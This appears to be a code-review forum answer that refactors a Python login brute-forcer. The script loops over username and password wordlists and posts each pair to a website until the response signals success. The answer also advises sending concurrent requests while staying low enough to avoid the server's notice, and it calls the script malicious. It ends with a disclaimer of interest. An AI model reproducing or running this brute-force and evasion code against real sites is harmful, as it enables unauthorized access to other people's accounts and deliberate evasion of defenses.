Try every username and password from a list on a website
First, improving the code:


Reading lines from a file is as easy as open(name, 'r').readlines(). No need for three lines where one is enough.
data and data2, are on the face of it redundant (and are badly named). The redundancy is only resolved because you reuse data – not a good idea. Use proper variable naming and use new variables for a new purpose, don’t reuse variables. 

(And in general, choose more relevant names.)
If you don’t use the else branch in a conditional, don’t write it.
Separation of concerns! This method tries to find a way into a website, not print stuff to the console. Return the result instead. That way, the function can be properly used.


This leaves us with:

def BruteForce(url, userlist_file, passlist_file):
    userlist = open(userlist_file, 'r').readlines()
    passlist = open(passlist_file, 'r').readlines()

    for username in userlist:
        for password in passlist:
            data = { 'username': username, 'password': password }
            encoded = urllib.urlencode(data)
            request = urllib2.Request(url, encoded)
            response = urllib2.urlopen(request)
            payload = response.read()

            isconnect = 'True'
            if(payload.find(isconnect) &gt;= 0):
                return data

    return { } # Nothing found


Now to your question:


  Is this code efficient?


Not really. The problem isn’t so much the code in itself, it’s more the fact that HTTP requests are generally quite slow, but the most time is spent waiting for data. If you do them sequentially (and you do), most of the script’s running time is spent waiting.

This can be drastically improved by sending several requests concurrently. This doesn’t even need multithreading – you can just open several connections in a loop, and then start reading from them. Even better would be to read asynchronously. Unfortunately, urllib doesn’t support this – but other libraries do.

That said, you cannot simply bombard the web server with tons of requests. After all, your script is malicious and you don’t want the web server to notice you. So you need to fly under the radar – send just as many concurrent requests as the server allows without being blocked immediately.

Finding this number is tricky and requires guesswork and a bit of luck. If you are lucky, the server is badly configured and won’t mind lots of connections. If you want to stay on the safe side, stay way low.

I have no idea, nor much interest in, how to engineer such an attack.